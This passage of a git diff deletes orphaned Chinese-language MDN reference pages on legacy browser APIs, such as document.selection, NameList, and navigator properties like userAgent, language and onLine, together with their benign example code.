返回一个 {{domxref("TextRangeCollection")}},该集合包含选区中所有区域对应的 TextRange。注意该对象不是一个 {{jsxref("Array")}},且IE中的Web网页不支持多个选区,因此它总是返回单个对象的集合。
-
- -

示例

- -

以下示例在IE10以下有效。该示例通过 document.selection 获取 MSSelection 对象,并清空选区中的内容。

- -
var sel = document.selection;
-sel.clear();
- -

开发者笔记

- -

使用 TextRange 操作选中区域

- -
-

仅在IE9以下有效。在浏览器允许的情况下,应优先使用 {{domxref("Selection")}} 接口。

-
- -

{{domxref("document.selection")}} 属性返回一个 MSSelection 对象,selection.createRange() 方法创建一个和当前选中区域一致的 {{domxref("TextRange")}} 对象。

- -
var sel = document.selection;
-var range = sel.createRange();
-alert(range.text);
-// 输出被选区域的纯文本
- -

注意,createRange 方法并不创建引用,如果希望通过该方法修改选中区域,则需要调用 TextRange.select 方法。

- -

selection 兼容性

- -

document.selection 属性返回当前文档的 MSSelection 对象。标准规定一个窗口/文档可能有多个不相邻选区,但只有Firefox实现通过 Ctrl 选中多个区域;IE中一般也只允许文档只存在一个被选中的 TextRange

- -

然而,在其它浏览器中,document 并不存在一个所谓 selection 属性——它们通过标准 Selection API 实现对选区的操作,也就是通过 window.getSelection() 方法获取 {{domxref("Selection")}} 对象,并使用标准的 {{domxref("Range")}} 对象对文本片段作出处理。IE11及之后的版本也放弃了 document.selection 对象而转为使用标准接口(尽管 TextRange 一直保留,但大多数情况下它已失去作用)。

- -

这很容易引起迷惑。通常,如果脚本只要求兼容最新的浏览器,那么标准的接口是最佳的选择;但通常目前的网站仍希望兼容IE8或其以下的浏览器,因此,最好的做法是同时处理两者,也就是在不支持标准接口时尝试使用 MSSelection 方式,但不要把该方式作为唯一的选择。

- -

浏览器兼容性

- - - - - - - - - - - - - - - - -
IE其它浏览器
{{domxref("MSSelection")}} {{non-standard_inline()}}≤10(IE9后应使用标准API)不支持(详见Selection API
- -

扩展

- - diff --git a/files/zh-cn/orphaned/web/api/namelist/index.html b/files/zh-cn/orphaned/web/api/namelist/index.html deleted file mode 100644 index 9e2ad5d9f4..0000000000 --- a/files/zh-cn/orphaned/web/api/namelist/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: NameList -slug: orphaned/Web/API/NameList -translation_of: Web/API/NameList -original_slug: Web/API/NameList ---- -

{{APIRef("DOM")}}{{ obsolete_header("10.0") }}

- -
-

Note: 虽然这个API曾经被用在 Gecko, 事实上它也是没有办法被创建的. NameList从 {{ Gecko("10.0") }}开始已经被废弃了。

-
- -

提供一个有序的键值对集合. 它可以通过下标0访问. 在DOM规范中没有指定这个集合是如何被应用的.

- -

属性

- -
-
{{domxref("NameList.length")}}{{readonlyInline}}
-
- -

方法

- -
-
{{domxref("NameList.contains()")}}
-
返回{{jsxref("Boolean")}}.
-
{{domxref("NameList.containsNS()")}}
-
返回 {{jsxref("Boolean")}}
-
{{domxref("NameList.getName()")}}
-
返回{{domxref("DOMString")}}
-
{{domxref("NameList.getNamespaceURI()")}}
-
返回 {{domxref("DOMString")}}
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#NameList", "NameList")}}{{Spec2("DOM3 Core")}}Initial definition
diff --git a/files/zh-cn/orphaned/web/api/navigator/registercontenthandler/index.html b/files/zh-cn/orphaned/web/api/navigator/registercontenthandler/index.html deleted file mode 100644 index a266c55bfb..0000000000 --- a/files/zh-cn/orphaned/web/api/navigator/registercontenthandler/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Navigator.registerContentHandler() -slug: orphaned/Web/API/Navigator/registerContentHandler -translation_of: Web/API/Navigator/registerContentHandler -original_slug: Web/API/Navigator/registerContentHandler ---- -
{{ ApiRef("HTML DOM") }}
- -

概述

- -

Allows web sites to register themselves as possible handlers for content of a particular MIME type.

- -

{{ Note("Web sites may only register content handlers for themselves. For security reasons, it\'s not possible for an extension or web site to register content handlers targeting other sites.") }}

- -

语法

- -
window.navigator.registerContentHandler(mimeType, uri, title);
-
- - - -

例子

- -
navigator.registerContentHandler("application/vnd.mozilla.maybe.feed",
-                                 "http://www.example.tld/?foo=%s",
-                                 "My Feed Reader");
-
- -

备注

- -

For Firefox 2 and above, only the application/vnd.mozilla.maybe.feed, application/atom+xml, and application/rss+xml MIME types are supported. All values have the same effect, and the registered handler will receive feeds in all Atom and RSS versions  (see {{ Bug("391286") }}).

- -

规范

- -

WHATWG's Web Applications 1.0 工作草案

- -

相关链接

- - - -

{{ languages( { "ja": "ja/DOM/window.navigator.registerContentHandler", "en": "en/DOM/window.navigator.registerContentHandler", "pl": "pl/DOM/window.navigator.registerContentHandler" } ) }}

diff --git a/files/zh-cn/orphaned/web/api/navigatorconcurrenthardware/hardwareconcurrency/index.html b/files/zh-cn/orphaned/web/api/navigatorconcurrenthardware/hardwareconcurrency/index.html deleted file mode 100644 index 84cb1f561a..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorconcurrenthardware/hardwareconcurrency/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: navigator.hardwareConcurrency -slug: orphaned/Web/API/NavigatorConcurrentHardware/hardwareConcurrency -translation_of: Web/API/NavigatorConcurrentHardware/hardwareConcurrency -original_slug: Web/API/NavigatorConcurrentHardware/hardwareConcurrency ---- -

{{APIRef("HTML DOM")}}

- -

{{AvailableInWorkers}}

- -

navigator.hardwareConcurrency 指明当前浏览器环境所拥有的CPU核心数,这来自于操作系统提供的API来获取。

- -

用法

- -
CPU核心数= window.navigator.hardwareConcurrency
-
- -

Value

- -

A {{jsxref("Number")}} indicating the number of logical processor cores.

- -

Modern computers have multiple physical processor cores in their CPU (two or four cores is typical), but each physical core is also usually able to run more than one thread at a time using advanced scheduling techniques. So a four-core CPU may offer eight logical processor cores, for example. The number of logical processor cores can be used to measure the number of threads which can effectively be run at once without them having to context switch.

- -

The browser may, however, choose to report a lower number of logical cores in order to represent more accurately the number of {{domxref("Worker")}}s that can run at once, so don't treat this as an absolute measurement of the number of cores in the user's system.

- -

Examples

- -

In this example, one {{domxref("Worker")}} is created for each logical processor reported by the browser and a record is created which includes a reference to the new worker as well as a Boolean value indicating whether or not we're using that worker yet; these objects are, in turn, stored into an array for later use. This creates a pool of workers we can use to process requests later.

- -
let workerList = [];
-
-for (let i = 0; i < window.navigator.hardwareConcurrency; i++) {
-  let newWorker = {
-    worker: new Worker('cpuworker.js'),
-    inUse: false
-  };
-  workerList.push(newWorker);
-}
- -

Specification

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#navigatorconcurrenthardware', 'NavigatorConcurrentHardware')}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

Browser compatibility

- -
- - -

{{Compat("api.NavigatorConcurrentHardware.hardwareConcurrency")}}

-
- -

See also

- - diff --git a/files/zh-cn/orphaned/web/api/navigatorconcurrenthardware/index.html b/files/zh-cn/orphaned/web/api/navigatorconcurrenthardware/index.html deleted file mode 100644 index 43e5ae1965..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorconcurrenthardware/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: NavigatorConcurrentHardware -slug: orphaned/Web/API/NavigatorConcurrentHardware -tags: - - API - - Concurrency - - HTML DOM - - Interface - - Navigator - - NavigatorCPU - - NavigatorConcurrentHardware - - NeedsBrowserCompatibility - - NeedsTranslation - - Reference - - Threading - - Threads - - TopicStub - - WorkerNavigator - - Workers -translation_of: Web/API/NavigatorConcurrentHardware -original_slug: Web/API/NavigatorConcurrentHardware ---- -

{{APIRef("HTML DOM")}}

- -

The NavigatorConcurrentHardware {{Glossary("mixin")}} adds to the {{domxref("Navigator")}} interface features which allow Web content to determine how many logical processors the user has available, in order to let content and Web apps optimize their operations to best take advantage of the user's CPU.

- -

{{AvailableInWorkers}}

- -

The number of logical processor cores is a way to measure the number of threads which can effectively be run at once without them having to share CPUs. Modern computers have multiple physical cores in their CPU (two or four cores is typical), but each physical core is also usually able to run more than one thread at a time using advanced scheduling techniques. So a four-core CPU may return 8. The browser may, however, choose to reduce the number in order to represent more accurately the number of {{domxref("Worker")}}s that can run at once

- -

Properties

- -
-
{{domxref("NavigatorConcurrentHardware.hardwareConcurrency")}} {{readonlyinline}}
-
Returns the number of logical processors which may be available to the user agent. This value is always at least 1, and will be 1 if the actual number of logical processors can't be determined.
-
- -

Methods

- -

The NavigatorConcurrentHardware mixin has no methods.

- -

Specifications

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#navigatorconcurrenthardware', 'NavigatorConcurrentHardware')}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

Browser compatibility

- - - -

{{Compat("api.NavigatorConcurrentHardware")}}

- -

See also

- - diff --git a/files/zh-cn/orphaned/web/api/navigatorid/appcodename/index.html b/files/zh-cn/orphaned/web/api/navigatorid/appcodename/index.html deleted file mode 100644 index 5545fedd6a..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorid/appcodename/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: NavigatorID.appCodeName -slug: orphaned/Web/API/NavigatorID/appCodeName -translation_of: Web/API/NavigatorID/appCodeName -original_slug: Web/API/NavigatorID/appCodeName ---- -

{{ ApiRef() }}

- -

概述

- -

返回所使用浏览器的内部名称.

- -

语法

- -
codeName = window.navigator.appCodeName
-
- -

参数

- - - -

例子

- -
dump(window.navigator.appCodeName);
-
- -

笔记

- -

Mozilla, Netscape 6, 和 IE5 的内部名称都是 "Mozilla".

- -

规范

- -

{{ DOM0() }}

- -

{{ languages( { "en": "en/DOM/window.navigator.appCodeName","ja": "ja/DOM/window.navigator.appCodeName", "pl": "pl/DOM/window.navigator.appCodeName" } ) }}

diff --git a/files/zh-cn/orphaned/web/api/navigatorid/appname/index.html b/files/zh-cn/orphaned/web/api/navigatorid/appname/index.html deleted file mode 100644 index 14a1d147b3..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorid/appname/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: NavigatorID.appName -slug: orphaned/Web/API/NavigatorID/appName -translation_of: Web/API/NavigatorID/appName -original_slug: Web/API/NavigatorID/appName ---- -

{{ ApiRef() }}

- -

概述

- -

返回所使用浏览器的名称。由于兼容性问题,HTML5 规范允许该属性返回 "Netscape" 。

- -
注意:该属性并不一定能返回正确的浏览器名称。在基于 Gecko 的浏览器 (例如 Firefox)和基于 WebKit 的浏览器(例如 Chrome 和 Safari)中,返回的浏览器名称都是 "Netscape".
- -

语法

- -
appName = window.navigator.appName
-
- -

返回值

- - - -

例子

- -
alert(window.navigator.appName);
-// 显示浏览器名称
-
- -

规范

- - - -

该属性起初属于 DOM Level 0 ,目前已经被添加到HTML5规范中。

diff --git a/files/zh-cn/orphaned/web/api/navigatorid/appversion/index.html b/files/zh-cn/orphaned/web/api/navigatorid/appversion/index.html deleted file mode 100644 index a56fdd8216..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorid/appversion/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: NavigatorID.appVersion -slug: orphaned/Web/API/NavigatorID/appVersion -translation_of: Web/API/NavigatorID/appVersion -original_slug: Web/API/NavigatorID/appVersion ---- -

{{APIRef("HTML DOM")}}{{deprecated_header}}

- -

概述

- -

返回一个字符串,表示所使用浏览器的版本号。它可能只包含一个版本数字,如 "5.0",还可能包含一些其他的相关信息。由于兼容性问题,HTML5规范允许该属性返回 "4.0"。

- -
注意:该属性并不一定能返回正确的浏览器版本号。在基于 Gecko 的浏览器 (例如 Firefox)和基于 WebKit 的浏览器(例如 Chrome 和 Safari)中,返回的浏览器版本号都是 "5.0",后跟一些操作系统与语言信息,比如 "5.0 (Windows; zh-CN)"。在Opera 10及以上版本,该属性的返回值也不是实际的浏览器版本号。
- -

语法

- -
ver = window.navigator.appVersion
-
- -

返回值

- - - -

例子

- -
alert("你的浏览器版本为" + navigator.appVersion);
-
- -

备注

- -

window.navigator.userAgent 也包含一些浏览器的版本信息(比如:"Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape 6/6.1"),但是你应该知道,修改浏览器的userAgent字符串以及伪造它成为其他的浏览器、其他的操作系统等等是非常容易的。而且,就算不伪造,浏览器提供商也不会保证这些数据就是准确的。

- -

window.navigator.appVersionwindow.navigator.appNamewindow.navigator.userAgent 等属性都被用来编写一些"浏览器检测"的相关代码:脚本会尝试根据检测出的浏览器类型来相印的调整页面显示。种情况下,用户可以伪造相关的浏览器信息来查看一些本来不允许自己所使用的浏览器或平台查看的页面。

- -

规范

- - - -

该属性最初属于 DOM Level 0,目前已经被添加到 HTML5 规范中。

diff --git a/files/zh-cn/orphaned/web/api/navigatorid/index.html b/files/zh-cn/orphaned/web/api/navigatorid/index.html deleted file mode 100644 index 71bf69349a..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorid/index.html +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: NavigatorID -slug: orphaned/Web/API/NavigatorID -translation_of: Web/API/NavigatorID -original_slug: Web/API/NavigatorID ---- -

{{APIRef("HTML DOM")}}

- -

NavigatorID 接口包含浏览器识别相关的方法和属性。

- -

没有一个 NavigatorID 类型的对象,他是其他接口,如 {{domxref("Navigator")}} 或 {{domxref("WorkerNavigator")}} 实现了该接口。

- -

属性

- -

NavigatorID 接口没有继承任何属性。

- -
-
{{domxref("NavigatorID.appCodeName")}} {{readonlyInline}}{{experimental_inline}}
-
任何浏览器中,总是返回 'Gecko'。该属性仅仅是为了保持兼容性。
-
{{domxref("NavigatorID.appName")}} {{readonlyInline}}
-
返回浏览器的官方名称。不要指望该属性返回正确的值。
-
{{domxref("NavigatorID.appVersion")}} {{readonlyInline}}
-
返回一个字符串,表示浏览器的版本。不要指望该属性返回正确的值。
-
{{domxref("NavigatorID.platform")}} {{readonlyInline}}
-
返回一个字符串,表示浏览器的所在系统平台。
-
{{domxref("NavigatorID.product")}} {{readonlyInline}}
-
返回当前浏览器的产品名称(如,"Gecko")。
-
{{domxref("NavigatorID.userAgent")}} {{readonlyInline}}
-
返回当前浏览器的用户代理字符串(user agent string)。
-
- -

方法

- -

NavigatorID 接口没有继承任何方法。

- -
-
{{domxref("NavigatorID.taintEnabled()")}} {{deprecated_inline()}} {{experimental_inline}}
-
总是返回 false。JavaScript taint/untaint 函数在 JavaScript 1.2 中被移除了。该方法只是为了兼容性。
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#navigatorid', 'NavigatorID')}}{{Spec2('HTML WHATWG')}}Added the appCodeName property and the taintEnabled() method,  for compatibility purpose.
{{SpecName('HTML5 W3C', '#navigatorid', 'NavigatorID')}}{{Spec2('HTML5 W3C')}}Initial specification.
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

相关链接

- - diff --git a/files/zh-cn/orphaned/web/api/navigatorid/platform/index.html b/files/zh-cn/orphaned/web/api/navigatorid/platform/index.html deleted file mode 100644 index f1dc21fdea..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorid/platform/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: NavigatorID.platform -slug: orphaned/Web/API/NavigatorID/platform -translation_of: Web/API/NavigatorID/platform -original_slug: Web/API/NavigatorID/platform ---- -

{{ ApiRef() }}

- -

概述

- -

返回一个字符串,表示浏览器所在的系统平台类型.

- -

语法

- -
platform = navigator.platform
-
- -

platform 可能是: "Win32", "Linux i686", "MacPPC", "MacIntel", 等.

- -

例子

- -
alert(navigator.platform);
- -

备注

- -

在普通网页中,如果about:config中存在general.platform.override项,则该属性的值会返回about:config中general.platform.override项的值. 在特权代码中 (chrome上下文或者拥有"UniversalBrowserRead"特权的网页中),返回的还是真实的平台类型.(译者注:语句:netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead ")用来激活所在网页的UniversalBrowserRead特权.)

- -

规范

- - - -

该属性由DOM Level 0提出, 目前已经被添加到HTML5规范中.

- -

{{ languages( {"ja": "ja/DOM/window.navigator.platform", "en": "en/DOM/window.navigator.platform", "pl": "pl/DOM/window.navigator.platform" } ) }}

diff --git a/files/zh-cn/orphaned/web/api/navigatorid/product/index.html b/files/zh-cn/orphaned/web/api/navigatorid/product/index.html deleted file mode 100644 index aae72af9db..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorid/product/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: NavigatorID.product -slug: orphaned/Web/API/NavigatorID/product -translation_of: Web/API/NavigatorID/product -original_slug: Web/API/NavigatorID/product ---- -
- {{ApiRef}}
-

概述

-

该属性返回当前浏览器的产品名称。

-
- 注意:该属性不一定返回一个真实的产品名称。Gecko 和 WebKit 浏览器返回 "Gecko" 作为该属性的值。
-

语法

-
productName = window.navigator.product
-
- -

例子

-
<script>
-function prod() {
-  dt = document.getElementById("d");
-  dt.innerHTML = window.navigator.product;
-}
-</script>
-
-<button onclick="prod();">product</button>
-<div id="d"> </div>
-<!-- 返回 "Gecko" -->
-
-

备注

-

在基于 Gecko 的浏览器中,product 为完整的用户代理(user agent)字符串中紧跟着平台(platform)后的部分。例如,在 Netscape 6.1 的用户代理中,product 是 "Gecko",完整的代理字符串是:Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape6/6.1

-

在基于 WebKit 的浏览器中,product 仍然返回 "Gecko",即使完整用户代理字符串中平台(platform)后紧跟着:(KHTML, like Gecko)

-

规范

-

{{dom0}}

diff --git a/files/zh-cn/orphaned/web/api/navigatorid/useragent/index.html b/files/zh-cn/orphaned/web/api/navigatorid/useragent/index.html deleted file mode 100644 index 9652c650da..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorid/useragent/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: NavigatorID.userAgent -slug: orphaned/Web/API/NavigatorID/userAgent -translation_of: Web/API/NavigatorID/userAgent -original_slug: Web/API/NavigatorID/userAgent ---- -
{{ApiRef("HTML DOM")}}
- -

NavigatorID.userAgent 只读属性返回当前浏览器的 user agent 字符串。

- -
-

这一规范要求浏览器通过这一属性提供尽可能少的信息。不要假定同一浏览器的这一属性值会在未来的版本中保持不变。尽量不要使用这一属性,或者仅仅在现有和更早的版本中使用。较新的浏览器可能开始使用相同或近似的 UA,对于早期的浏览器而言:你不能确保该浏览器是其 NavigatorID.userAgent 属性所宣称的浏览器。

- -

另外要记住,用户可以修改浏览器的此属性(UA 欺骗).

-
- -

基于 user agent 字符串来识别浏览器是不可靠的,不推荐使用,因为 user agent 字符串是用户可配置的。例如:

- - - -

语法

- -
var ua = navigator.userAgent;
-
- -

- -

{{domxref("DOMString")}} 规定了浏览器提供给 {{Glossary("HTTP")}} headers 和其响应,以及其他与{{domxref("Navigator")}} 相关的方法的完整用户代理属性 。

- -

用户代理属性由几个信息段组成一个整齐的结构,每个信息段都取值于其他 {{domxref("Navigator")}} 属性,这些属性也可以是用户设置的。基于 Gecko 内核的浏览器的 UA 遵守下列通用结构规范。

- -
userAgent = appCodeName/appVersion number (Platform; Security; OS-or-CPU;
-Localization; rv: revision-version-number) product/productSub
-Application-Name Application-Name-version
-
- -

例子

- -
alert(window.navigator.userAgent)
-// alerts "Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape6/6.1"
-
- - - -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-navigator-useragent', 'NavigatorID.userAgent')}}{{Spec2('HTML WHATWG')}}Initial definition
- -

浏览器兼容性

- - - -

{{Compat("api.NavigatorID.userAgent")}}

- -

更多

- - diff --git a/files/zh-cn/orphaned/web/api/navigatorlanguage/index.html b/files/zh-cn/orphaned/web/api/navigatorlanguage/index.html deleted file mode 100644 index fdd35b2c8b..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorlanguage/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: NavigatorLanguage -slug: orphaned/Web/API/NavigatorLanguage -tags: - - API - - HTML-DOM - - NeedsTranslation - - No Interface - - Reference - - TopicStub -translation_of: Web/API/NavigatorLanguage -original_slug: Web/API/NavigatorLanguage ---- -

{{APIRef("HTML DOM")}}

- -

NavigatorLanguage 包含涉及导航(Navigator)的语言特性的方法和属性。

- -

其实 NavigatorLanguage 这个对象并不存在,但是,一些其它的接口,如 {{domxref("Navigator")}} 或 {{domxref("WorkerNavigator")}},实现了它。

- -

属性

- -

NavigatorLanguage 接口不继承任何属性。

- -
-
{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}
-
返回一个 {{domxref("DOMString")}} 代表用户的首选语言,通常是浏览器 UI 的语言。若返回 null 值,则代表语言未知。
-
{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}
-
返回一个 {{domxref("DOMString")}} 数组,代表用户已知的语言,不同语言按照谁更佳排序。
-
- -

方法

- -

NavigatorLanguage 接口不依赖任何接口和方法。

- -

标准

- - - - - - - - - - - - - - - - - - - - - -
标准状态备注
{{SpecName('HTML WHATWG', '#navigatorlanguage', 'NavigatorLanguage')}}{{Spec2('HTML WHATWG')}}从 {{SpecName('HTML5 W3C')}} 出现开始,languages 属性已经被添加。
{{SpecName('HTML5 W3C', '#navigatorlanguage', 'NavigatorLanguage')}}{{Spec2('HTML5 W3C')}}初始标准;出现在 {{SpecName('HTML WHATWG')}} 的早期版本。
- -

浏览器兼容性

- - - -

{{Compat("api.NavigatorLanguage")}}

- -

参见

- - diff --git a/files/zh-cn/orphaned/web/api/navigatorlanguage/language/index.html b/files/zh-cn/orphaned/web/api/navigatorlanguage/language/index.html deleted file mode 100644 index c9e6e3615e..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorlanguage/language/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: NavigatorLanguage.language -slug: orphaned/Web/API/NavigatorLanguage/language -tags: - - API - - NavigatorLanguage - - 参考 - - 只读 - - 多语言 - - 属性 - - 语言 -translation_of: Web/API/NavigatorLanguage/language -original_slug: Web/API/NavigatorLanguage/language ---- -
{{APIRef("HTML DOM")}}
- -

NavigatorLanguage.language 只读属性返回一个表示用户偏好语言的字符串,通常指浏览器 UI 的语言。

- -

语法

- -
let lang = navigator.language;
-
- -

- -

一个 {{domxref("DOMString")}}。lang 存储一个表示语言版本(在 BCP 47 中定义)的字符串。合法的语言版本有 "zh-CN"、"en"、"en-US"、"fr"、"es-ES" 等。

- -

注意 macOS 和 iOS 平台上的 Safari(10.2 之前版本),国家代码为小写:"zh-cn"、"en-us"、"fr-fr" 等。

- -

示例

- -
if ( window.navigator.language != 'zh-CN' ) {
-  doLangSelect(window.navigator.language);
-}
-
- -

标准

- - - - - - - - - - - - - - - - -
标准状态备注
{{SpecName('HTML WHATWG', '#dom-navigator-language', 'NavigatorLanguage: language')}}{{Spec2('HTML WHATWG')}}初次定义
- -

浏览器兼容性

- -

{{Compat("api.NavigatorLanguage.language")}}

- -

另请参阅

- - diff --git a/files/zh-cn/orphaned/web/api/navigatorlanguage/languages/index.html b/files/zh-cn/orphaned/web/api/navigatorlanguage/languages/index.html deleted file mode 100644 index 127403a1f9..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorlanguage/languages/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: NavigatorLanguage.languages -slug: orphaned/Web/API/NavigatorLanguage/languages -tags: - - API - - languages - - 只读 - - 实验性 - - 属性 -translation_of: Web/API/NavigatorLanguage/languages -original_slug: Web/API/NavigatorLanguage/languages ---- -

{{APIRef("HTML DOM")}}{{SeeCompatTable}}

- -

NavigatorLanguage.languages 只读属性 ,返回一个 {{domxref("DOMString")}} 的数组,数组内容表示网站访客所使用的语言。 使用 BCP 47 语言标签来描述不同的语言。 在返回的数组中,最适合当前用户的语言将会被排到数组的首位。

- -

{{domxref("NavigatorLanguage.language","navigator.language")}} 的值是该属性返回数组的第一个元素 [3]。(但它基于系统语言设置。)

- -

当该值发生改变,即最适合用户的语言被改变, 事件{{event("languagechange")}} 将会在 {{domxref("Window")}} 对象下触发。

- -

在每一个HTTP请求上的来自用户浏览器的HTTP协议头 Accept-Language 使用相同的来自 navigator.languages 属性的语言值,除了特殊的 qvalues (权重值) 字段 (如:en-US;q=0.8)。

- -

语法

- -
preferredLanguages = globalObj.navigator.languages
-
- -

例子

- -
navigator.language   //"en-US"
-navigator.languages  //["en-US", "zh-CN", "ja-JP"]
-
- -

标准

- - - - - - - - - - - - - - -
标准状态备注
{{ SpecName('HTML5.1', '#dom-navigator-languages', 'NavigatorLanguage.languages') }}{{ Spec2('HTML5.1') }} -

初始化定义

-
- -

浏览器兼容性

- - - -

{{Compat("api.NavigatorLanguage.languages")}}

- -

参见

- - diff --git a/files/zh-cn/orphaned/web/api/navigatoronline/index.html b/files/zh-cn/orphaned/web/api/navigatoronline/index.html deleted file mode 100644 index b2a7f14cc9..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatoronline/index.html +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: NavigatorOnLine -slug: orphaned/Web/API/NavigatorOnLine -tags: - - API - - HTML-DOM - - TopicStub -translation_of: Web/API/NavigatorOnLine -original_slug: Web/API/NavigatorOnLine ---- -

{{APIRef("HTML DOM")}}

- -

NavigatorOnLine接口包含了与浏览器网络连接状态相关的方法和属性。

- -

不存在NavigatorOnLine类型的对象,但是存在其他的接口,比如 {{domxref("Navigator")}} 或者 {{domxref("WorkerNavigator")}},可以实现它。

- -

属性

- -

NavigatorOnLine 接口并不能继承任何属性。

- -
-
{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}
-
返回一个 {{domxref("Boolean")}} 值指示浏览器是否为在线状态。
-
- -

方法

- -

NavigatorOnLine 接口既不能实现,也不能继承任何方法。

- -

规范

- - - - - - - - - - - - - - - - - - - - - -
规范状态注解
{{SpecName('HTML WHATWG', '#navigatoronline', 'NavigatorOnLine')}}{{Spec2('HTML WHATWG')}}对比最近的简况没有变化, {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', '#navigatoronline', 'NavigatorOnLine')}}{{Spec2('HTML5 W3C')}}{{SpecName('HTML WHATWG')}} 原始标准的简况.
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
特征ChromeFirefox (Gecko)Internet ExplorerOperaSafari
基本支持{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
在{{domxref("WorkerNavigator")}}{{CompatUnknown}}{{CompatGeckoDesktop(29)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
特征AndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本支持{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
 {{domxref("WorkerNavigator")}}{{CompatUnknown}}{{CompatGeckoMobile(29)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

浏览相关

- - diff --git a/files/zh-cn/orphaned/web/api/navigatoronline/online/index.html b/files/zh-cn/orphaned/web/api/navigatoronline/online/index.html deleted file mode 100644 index ffc33f9d7a..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatoronline/online/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: NavigatorOnLine.onLine -slug: orphaned/Web/API/NavigatorOnLine/onLine -tags: - - API - - DOM Reference -translation_of: Web/API/NavigatorOnLine/onLine -original_slug: Web/API/NavigatorOnLine/onLine ---- -

{{ApiRef("HTML DOM")}}

- -

返回浏览器的联网状态。正常联网(在线)返回 true,不正常联网(离线)返回 false。一旦浏览器的联网状态发生改变,该属性值也会随之变化。当用户点击链接或者脚本进行网络请求时,如果发现浏览器连接不上互联网,则该属性会被赋值为false

- -

各浏览器对该属性的实现有些不同。

- -

在 Chrome 和 Safari 中,如果浏览器连接不上局域网(LAN)或者路由器,就是离线状态;否则就是在线状态。所以当该属性值为 false 的时候,你可以说浏览器不能正常联网,但如果该属性值为true的时候,并不意味着浏览器一定能连接上互联网。还有其他一些可能引起误判的原因,比如你的电脑安装了虚拟化软件,可能会有一个虚拟网卡,这时它总是会显示正常联网。因此,如果你想得到浏览器确切的联网状态,应该使用其他额外的检查手段。

- -

在 Firefox 和 Internet Explorer 中,如果浏览器处于"脱机工作"状态,则返回 false。在 Firefox 41之前,所有其他条件都返回 true 值;在 Windows 上的 Nightly 68上测试实际行为表明,它仅查找类似 Chrome 和 Safari 的 LAN 连接,从而产生误报。

- -

你可以在 window.ononline 和 window.onoffline上监听事件,来获取浏览器联网状态的改变情况。

- -

语法

- -
online = window.navigator.onLine;
-
- -

取值

- -

online 是个布尔值 truefalse。

- -

示例

- -

查看 在线演示.

- -

想要查看你是否连接上了互联网,查询 window.navigator.onLine 的值,如下方示例:

- -
if (navigator.onLine) {
-  alert('online')
-} else {
